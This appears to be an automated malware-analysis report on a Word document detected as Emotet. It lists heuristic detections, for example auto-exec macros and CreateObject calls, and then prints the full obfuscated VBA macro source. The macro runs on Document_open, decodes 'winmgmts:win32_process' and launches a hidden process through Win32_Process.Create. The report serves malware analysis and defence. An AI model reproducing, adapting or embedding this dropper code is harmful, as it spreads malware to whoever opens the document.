MALICIOUS
172
Risk Score
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9777973-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9777973-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set N_9qb2sxwkm = CreateObject(I_x55r1rwdpbsw_a) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9715 bytes |
SHA-256: 9e027f2406dbf600081423755bad65268b2cef37b5adb7a79b070c72ddd5d020 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
70 of 134 identifiers look randomly generated (e.g. 'L3rbvh_1kgr_3tdxtb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Znijog1trmkmi"
Function F4_03bjrry3or1n(Vum2asv7sthtfnmwx0)
On Error Resume Next
Dim ENgFEB()
ReDim ENgFEB(1)
ENgFEB(0) = 2 + 3
Dim uqVMIKBJ()
ReDim uqVMIKBJ(1)
uqVMIKBJ(0) = 440 + 2463
Dim SwVqBD()
ReDim SwVqBD(2)
SwVqBD(0) = 4 + 74781
SwVqBD(1) = 8 + 1
F4_03bjrry3or1n = Join(Vum2asv7sthtfnmwx0, Zwe7fd_qm4vmqe4m)
Dim LUPFA()
ReDim LUPFA(1)
LUPFA(0) = 3 + 138
Dim nvZoAZY()
ReDim nvZoAZY(3)
nvZoAZY(0) = 45 + 51
nvZoAZY(1) = 18 + 11
nvZoAZY(2) = 2 + 5
Dim fMhxLCYE()
ReDim fMhxLCYE(3)
fMhxLCYE(0) = 33 + 31
fMhxLCYE(1) = 416 + 501
fMhxLCYE(2) = 8066 + 4
End Function
Function N_9qb2sxwkm(I_x55r1rwdpbsw_a)
On Error Resume Next
Dim NaMiJEH()
ReDim NaMiJEH(3)
NaMiJEH(0) = 8980 + 61
NaMiJEH(1) = 5 + 61
NaMiJEH(2) = 5 + 3514
Dim iBWhS()
ReDim iBWhS(2)
iBWhS(0) = 5 + 61
iBWhS(1) = 7 + 91
Dim xCKvDACA()
ReDim xCKvDACA(3)
xCKvDACA(0) = 5 + 81
xCKvDACA(1) = 536 + 11
xCKvDACA(2) = 6 + 3596
Set N_9qb2sxwkm = CreateObject(I_x55r1rwdpbsw_a)
Dim VGMvJJBf()
ReDim VGMvJJBf(2)
VGMvJJBf(0) = 26 + 44851
VGMvJJBf(1) = 7 + 9
Dim dZGFECsF()
ReDim dZGFECsF(3)
dZGFECsF(0) = 4 + 291
dZGFECsF(1) = 2 + 601
dZGFECsF(2) = 7 + 8
Dim sAaeICS()
ReDim sAaeICS(1)
sAaeICS(0) = 661 + 952
End Function
Function Apilvp9e1mn8l(Bgwhviawrvfbs2vw6)
On Error Resume Next
Dim UKSifOdI()
ReDim UKSifOdI(1)
UKSifOdI(0) = 1574 + 691
Dim ONpPI()
ReDim ONpPI(1)
ONpPI(0) = 78 + 8
Dim MkkQH()
ReDim MkkQH(2)
MkkQH(0) = 7 + 81
MkkQH(1) = 6 + 8
Apilvp9e1mn8l = Split(Bgwhviawrvfbs2vw6, "=EGR")
Dim vkwno()
ReDim vkwno(3)
vkwno(0) = 7170 + 1701
vkwno(1) = 703 + 54501
vkwno(2) = 4 + 6
Dim hpPCIfIdA()
ReDim hpPCIfIdA(2)
hpPCIfIdA(0) = 951 + 221
hpPCIfIdA(1) = 563 + 8033
Dim uFglFJGz()
ReDim uFglFJGz(2)
uFglFJGz(0) = 170 + 41
uFglFJGz(1) = 2 + 1
End Function
Attribute VB_Name = "Wtjfn_0g4qan4sf"
Attribute VB_Base = "0{8C441DB7-AB91-431C-9406-1B512FD9A931}{E77E4D53-9B7D-44A1-AA51-BCCE516683B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function X8vfudkj36sp8()
On Error Resume Next
Dim KEpfrIi()
ReDim KEpfrIi(3)
KEpfrIi(0) = 1 + 261
KEpfrIi(1) = 3245 + 31
KEpfrIi(2) = 7 + 1
Dim RIPSRJkJ()
ReDim RIPSRJkJ(2)
RIPSRJkJ(0) = 5 + 21
RIPSRJkJ(1) = 45 + 40
Dim rMtonRr()
ReDim rMtonRr(3)
rMtonRr(0) = 7 + 38981
rMtonRr(1) = 155 + 971
rMtonRr(2) = 2 + 2
J_nlq9yfu8htd = N_ov0lkhlprfzyhb + "=EGRro=EGR=EGRce=EGRs=EGRs=EGR" + L9sl8_sqonqoum_ku
Dim XkjrylDoH()
ReDim XkjrylDoH(2)
XkjrylDoH(0) = 54 + 11
XkjrylDoH(1) = 3 + 84
Dim OSyeHUC()
ReDim OSyeHUC(2)
OSyeHUC(0) = 64 + 11
OSyeHUC(1) = 3556 + 4794
Dim vDoIJPuBz()
ReDim vDoIJPuBz(3)
vDoIJPuBz(0) = 4 + 71
vDoIJPuBz(1) = 2 + 51
vDoIJPuBz(2) = 9 + 4081
I7o24xkcuqtaxnppdo = Wu9xo2y8eho1 + "=EGR=EGR:=EGRw=EGRin=EGR=EGR3=EGR2=EGR_=EGR" + Zeooz1nxa8fv0642dr
Dim kiIWpUE()
ReDim kiIWpUE(1)
kiIWpUE(0) = 2 + 1
Dim hRmoJHd()
ReDim hRmoJHd(2)
hRmoJHd(0) = 68 + 41011
hRmoJHd(1) = 425 + 9
Dim ZLyHhUBoP()
ReDim ZLyHhUBoP(2)
ZLyHhUBoP(0) = 5607 + 61
ZLyHhUBoP(1) = 9 + 7
Bgwhviawrvfbs2vw6 = Dtmr64u2x_7lcynqjg + "=EGR=EGRw=EGRi=EGRnm=EGR=EGRgm=EGRt=EGR=EGR" + Hugs6y4cp77fb1svqy
Dim TVpgoY()
ReDim TVpgoY(3)
TVpgoY(0) = 571 + 71
TVpgoY(1) = 9 + 981
TVpgoY(2) = 620 + 5678
Dim oBYBJ()
ReDim oBYBJ(2)
oBYBJ(0) = 881 + 61
oBYBJ(1) = 4 + 27
Dim LVQNS()
ReDim LVQNS(2)
LVQNS(0) = 11 + 91
LVQNS(1) = 548 + 500
Upxwm87i42mh5j = Wtjfn_0g4qan4sf.Cpmcl8ozmbbkm__9.Pages(1).Caption
Dim BAZqiA()
ReDim BAZqiA(3)
BAZqiA(0) = 5 + 5101
BAZqiA(1) = 184 + 31
BAZqiA(2) = 92 + 5585
Dim zHIzA()
ReDim zHIzA(3)
zHIzA(0) = 38 + 31
zHIzA(1) = 618 + 981
zHIzA(2) = 96 + 9
Dim bFYgGCAi()
ReDim bFYgGCAi(2)
bFYgGCAi(0) = 5554 + 361
bFYgGCAi(1) = 3 + 32
L3rbvh_1kgr_3tdxtb = Bgwhviawrvfbs2vw6 + Upxwm87i42mh5j + I7o24xkcuqtaxnppdo + Wtjfn_0g4qan4sf.Y5p2hejhd9135 + J_nlq9yfu8htd
Dim TRlEDGN()
ReDim TRlEDGN(1)
TRlEDGN(0) = 8 + 2760
Dim qPCrG()
ReDim qPCrG(1)
qPCrG(0) = 321 + 97
Dim oXgoIBg()
ReDim oXgoIBg(2)
oXgoIBg(0) = 746 + 54811
oXgoIBg(1) = 1 + 9
Bdm0b4f5b9x6dc8 = X73i62ecogoc(L3rbvh_1kgr_3tdxtb)
Dim gzBoIBCAB()
ReDim gzBoIBCAB(1)
gzBoIBCAB(0) = 951 + 9985
Dim ZpKkJBoH()
ReDim ZpKkJBoH(3)
ZpKkJBoH(0) = 467 + 41
ZpKkJBoH(1) = 33 + 11
ZpKkJBoH(2) = 53 + 525
Dim FGSzID()
ReDim FGSzID(1)
FGSzID(0) = 66 + 488
Set Mvjm_k2kfu7vvw = CreateObject(Bdm0b4f5b9x6dc8)
Dim XXXIDIB()
ReDim XXXIDIB(1)
XXXIDIB(0) = 4 + 9
Dim CWRTS()
ReDim CWRTS(2)
CWRTS(0) = 493 + 381
CWRTS(1) = 8 + 2
Dim lXDdF()
ReDim lXDdF(1)
lXDdF(0) = 4 + 97
Vum2asv7sthtfnmwx0 = Nwf02xewd9vptveh + Bdm0b4f5b9x6dc8 + Upxwm87i42mh5j + Wtjfn_0g4qan4sf.Sw9eaedqfsb3t + Wtjfn_0g4qan4sf.Fqn9_7v0m3u1i
Dim UIMICIaBF()
ReDim UIMICIaBF(3)
UIMICIaBF(0) = 3 + 91
UIMICIaBF(1) = 3554 + 61
UIMICIaBF(2) = 5 + 9
Dim QoJoZEI()
ReDim QoJoZEI(2)
QoJoZEI(0) = 4075 + 3811
QoJoZEI(1) = 85 + 3
Dim zBGhFTEF()
ReDim zBGhFTEF(2)
zBGhFTEF(0) = 9 + 51
zBGhFTEF(1) = 843 + 2
Set Ehmptdhe60ex = Xh6_tk2v0qyptvbaxh(Vum2asv7sthtfnmwx0 + Wtjfn_0g4qan4sf.Y5p2hejhd9135)
Dim dKCpBE()
ReDim dKCpBE(3)
dKCpBE(0) = 29 + 71
dKCpBE(1) = 3 + 25181
dKCpBE(2) = 6 + 6065
Dim auHUCGBCe()
ReDim auHUCGBCe(3)
auHUCGBCe(0) = 2 + 41
auHUCGBCe(1) = 6458 + 91961
auHUCGBCe(2) = 17 + 1
Dim acClFBY()
ReDim acClFBY(2)
acClFBY(0) = 7102 + 5501
acClFBY(1) = 4 + 2
Ngxxpgaj50l3hb_l = Mid(CVar(Lbdzt_ageomrk56ke.Sections(1)), 5, Len(CVar(Lbdzt_ageomrk56ke.Sections(1))))
Dim UvneE()
ReDim UvneE(2)
UvneE(0) = 4 + 8241
UvneE(1) = 9818 + 905
Dim rllxADIDb()
ReDim rllxADIDb(1)
rllxADIDb(0) = 8 + 37
Dim UVPDW()
ReDim UVPDW(3)
UVPDW(0) = 3959 + 81
UVPDW(1) = 159 + 7551
UVPDW(2) = 1975 + 84
Dim BzeBSNF()
ReDim BzeBSNF(2)
BzeBSNF(0) = 2 + 51
BzeBSNF(1) = 555 + 8580
Dim AFLJbsB()
ReDim AFLJbsB(3)
AFLJbsB(0) = 1546 + 951
AFLJbsB(1) = 2 + 54951
AFLJbsB(2) = 583 + 1
Dim pyLNIDLGF()
ReDim pyLNIDLGF(2)
pyLNIDLGF(0) = 5 + 61
pyLNIDLGF(1) = 6 + 218
Mvjm_k2kfu7vvw.Create X73i62ecogoc(Ngxxpgaj50l3hb_l), Ybs5c1e7366vu, Ehmptdhe60ex
Dim cRIEAAEgI()
ReDim cRIEAAEgI(2)
cRIEAAEgI(0) = 915 + 8121
cRIEAAEgI(1) = 506 + 1
Dim PlFnxpXEH()
ReDim PlFnxpXEH(2)
PlFnxpXEH(0) = 2 + 71
PlFnxpXEH(1) = 25 + 7
Dim vezqCbG()
ReDim vezqCbG(3)
vezqCbG(0) = 7597 + 91
vezqCbG(1) = 30 + 71
vezqCbG(2) = 3 + 7532
Dim YqrFJLCF()
ReDim YqrFJLCF(2)
YqrFJLCF(0) = 5 + 24451
YqrFJLCF(1) = 807 + 76
Dim iNzhI()
ReDim iNzhI(2)
iNzhI(0) = 9 + 621
iNzhI(1) = 58 + 3
Dim YLXjmHHRn()
ReDim YLXjmHHRn(3)
YLXjmHHRn(0) = 3791 + 4241
YLXjmHHRn(1) = 43 + 51
YLXjmHHRn(2) = 4 + 3
End Function
Function Xh6_tk2v0qyptvbaxh(Aw04j9ga5y8mol)
On Error Resume Next
Dim IbSGs()
ReDim IbSGs(2)
IbSGs(0) = 335 + 91
IbSGs(1) = 9 + 1
Dim APGOVIE()
ReDim APGOVIE(2)
APGOVIE(0) = 4 + 311
APGOVIE(1) = 6 + 2
Dim PjvcoAiH()
ReDim PjvcoAiH(1)
PjvcoAiH(0) = 1 + 94
Set Xh6_tk2v0qyptvbaxh = Znijog1trmkmi.N_9qb2sxwkm(X3wxmfvq61c + Aw04j9ga5y8mol + D5rmv8tgxpf5r7ad)
Dim wutoDoA()
ReDim wutoDoA(3)
wutoDoA(0) = 3 + 1571
wutoDoA(1) = 757 + 61391
wutoDoA(2) = 161 + 3
Dim AGPsySjrR()
ReDim AGPsySjrR(1)
AGPsySjrR(0) = 7 + 480
Dim oPZPDMBFr()
ReDim oPZPDMBFr(3)
oPZPDMBFr(0) = 42 + 61
oPZPDMBFr(1) = 28 + 41651
oPZPDMBFr(2) = 3 + 28
Xh6_tk2v0qyptvbaxh. _
showwindow = Ukat5yx804b2sg33nw + Kqj0cnqsx4fqe + Mcqbgkg5pxdrpf + Jbek2zttl0fo + Ae4m9jaem1gl + Pax6v0ljj2b
Dim KwUhGH()
ReDim KwUhGH(2)
KwUhGH(0) = 1111 + 41
KwUhGH(1) = 6307 + 26
Dim BIglrOI()
ReDim BIglrOI(3)
BIglrOI(0) = 927 + 64411
BIglrOI(1) = 197 + 54801
BIglrOI(2) = 8 + 247
Dim uWueFllH()
ReDim uWueFllH(1)
uWueFllH(0) = 71 + 3
End Function
Function X73i62ecogoc(Y15p3cfhci78rq)
On Error Resume Next
Dim pTrhHN()
ReDim pTrhHN(2)
pTrhHN(0) = 9997 + 31651
pTrhHN(1) = 5 + 202
Dim WNipXLJ()
ReDim WNipXLJ(3)
WNipXLJ(0) = 3 + 5031
WNipXLJ(1) = 816 + 8861
WNipXLJ(2) = 9 + 9
Dim KudpECqAF()
ReDim KudpECqAF(3)
KudpECqAF(0) = 8 + 51
KudpECqAF(1) = 1 + 6101
KudpECqAF(2) = 3638 + 5
Hpiyo7_6sxq2 = (Y15p3cfhci78rq)
Dim yNcNCEC()
ReDim yNcNCEC(2)
yNcNCEC(0) = 9866 + 8591
yNcNCEC(1) = 136 + 1
Dim RooHFpJ()
ReDim RooHFpJ(3)
RooHFpJ(0) = 1961 + 54861
RooHFpJ(1) = 7 + 471
RooHFpJ(2) = 155 + 95
Dim ujANoD()
ReDim ujANoD(3)
ujANoD(0) = 12 + 63931
ujANoD(1) = 397 + 9501
ujANoD(2) = 1 + 96
Qbij1bpl9ovcmk9 = Znijog1trmkmi.Apilvp9e1mn8l(Hpiyo7_6sxq2)
Dim Ldxxy()
ReDim Ldxxy(1)
Ldxxy(0) = 1683 + 52
Dim UkXzrHfB()
ReDim UkXzrHfB(3)
UkXzrHfB(0) = 4 + 9391
UkXzrHfB(1) = 451 + 251
UkXzrHfB(2) = 7 + 79
Dim JxWJU()
ReDim JxWJU(2)
JxWJU(0) = 4047 + 91
JxWJU(1) = 6011 + 9507
Bejelo6zhyl5re5fku = Znijog1trmkmi.F4_03bjrry3or1n(Qbij1bpl9ovcmk9)
Dim gdlKi()
ReDim gdlKi(3)
gdlKi(0) = 5325 + 7391
gdlKi(1) = 7 + 61
gdlKi(2) = 3462 + 5
Dim uRyTGXf()
ReDim uRyTGXf(1)
uRyTGXf(0) = 9 + 3
Dim KzgrG()
ReDim KzgrG(2)
KzgrG(0) = 3 + 911
KzgrG(1) = 2 + 76
X73i62ecogoc = Bejelo6zhyl5re5fku
Dim eEdflKDWJ()
ReDim eEdflKDWJ(2)
eEdflKDWJ(0) = 9253 + 981
eEdflKDWJ(1) = 2 + 1879
Dim aozpM()
ReDim aozpM(2)
aozpM(0) = 2 + 91
aozpM(1) = 9 + 2
Dim xZCoCLGD()
ReDim xZCoCLGD(2)
xZCoCLGD(0) = 5525 + 3751
xZCoCLGD(1) = 57 + 971
End Function
Attribute VB_Name = "Lbdzt_ageomrk56ke"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Wtjfn_0g4qan4sf.X8vfudkj36sp8
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.